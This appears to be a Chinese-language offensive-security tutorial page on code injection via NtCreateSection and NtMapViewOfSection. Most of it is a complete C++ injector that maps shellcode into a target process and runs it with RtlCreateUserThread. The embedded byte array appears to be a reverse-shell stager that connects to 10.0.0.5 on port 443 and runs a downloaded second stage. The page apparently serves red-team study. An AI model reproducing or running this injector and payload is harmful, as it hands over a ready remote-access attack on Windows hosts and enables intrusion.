# NtCreateSection & NtMapViewOfSection Code Execute

## 简介

前面我们介绍过的[mapping injection](/code-and-dll-process-injection/mapping-injection.md)技术与当前介绍的没有本质区别，同样是创建一块共享的物理内存，但这个技术更为接近底层，mapping injection使用的api本质上是ntdll导出函数的封装，这个注入技术则是直接调用ntdll的导出函数。

这种技术与mapping injection具有同样的优点，我们可以不使用virutalprotectex、writeprocessmemory等注入技术经典函数。

![](/files/-M70n0TeSz4KVpM0DzEa)

## 注入流程

1. 在注入进程创建section
2. 将section映射到注入进程虚拟地址(本进程RW权限)
3. 往被映射的虚拟地址写入shellcode
4. 打开被注入进程句柄
5. 将section映射到被注入进程虚拟地址(映射进程RX权限)
6. 创建远程线程

## 代码实现

代码摘抄@mantvydasb

```
#include <iostream>
#include <Windows.h>
#pragma comment(lib, "ntdll")

typedef struct _LSA_UNICODE_STRING { USHORT Length;	USHORT MaximumLength; PWSTR  Buffer; } UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {	ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor;	PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID;
using myNtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL); 
using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle,	HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using myRtlCreateUserThread = NTSTATUS(NTAPI*)(IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID);

int main()
{
	unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
	
	myNtCreateSection fNtCreateSection = (myNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection"));
	myNtMapViewOfSection fNtMapViewOfSection = (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection"));
	myRtlCreateUserThread fRtlCreateUserThread = (myRtlCreateUserThread)(GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread"));
	SIZE_T size = 4096;
	LARGE_INTEGER sectionSize = { size };
	HANDLE sectionHandle = NULL;
	PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
	
	// create a memory section
	fNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
	
	// create a view of the memory section in the local process
	fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE);

	// create a view of the memory section in the target process
	HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, 1480);
	fNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ);

	// copy shellcode to the local view, which will get reflected in the target process's mapped view
	memcpy(localSectionAddress, buf, sizeof(buf));
	
	HANDLE targetThreadHandle = NULL;
	fRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL);

	return 0;
}
```

## LINKS

{% embed url="<http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html>" %}

{% embed url="<https://ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection>" %}


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